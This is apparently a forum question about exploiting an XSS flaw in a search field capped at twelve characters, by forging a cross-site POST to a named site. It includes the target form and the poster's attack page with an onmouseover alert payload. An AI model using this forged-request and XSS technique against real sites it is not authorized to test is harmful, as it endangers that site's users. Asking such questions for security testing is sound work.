I have input box with `maxlength=12`, and that input box is vulnerable to xss.

But because of maxlength 12 it is not possible to construct any really valid xss vector. The user input is stored in the attribute `value="user input"`. When the user intercepts the post request with burpproxy, he can change post parameters and cause xss.

Now my question is it is possible to make a post request from other site which bypasses the maxlength element. On my exploit attempts, it takes me to the page where input box is located, and it cuts off everything past the 12th character.

Can that post request be forged and maxlength bypassed to exploit the xss issue?

This is form search on page with maxlength :

    <form name="usersearch" method="post" action="usersearch.php">
        <input type="checkbox" value="1" id="partmatch" name="partmatch" >
        <label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
        <input class="inputbox" type="text" maxlength="12" 
               value="maxa">" id="loginname" name="loginname">
        <input
          class="button_ok"
          name="btnSubmit"
          id="btnSubmit"
          type="submit"
          value="OK"
          onclick="">
    </form>

This is my try to exploit it from my page:

    <html>
    <body>
    <h1>Test</h1>
    <form name="usersearch" method="post" 
          action="http://www.site.rs/usersearch.php">
    <input type="checkbox" value="1" id="partmatch" name="partmatch">
    <label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
    <input class="inputbox" type="text" maxlength="500"
           value="xss" onmouseover="alert(0)" id="loginname" name="loginname">
    <input 
          class="button_ok"
          name="btnSubmit"
          id="btnSubmit"
          type="submit"
          value="OK"
          onclick="">
    </form>
    </body>
    </html>

When I click exploit page button it just sends me back to the main page and input is cut off at the 12th character.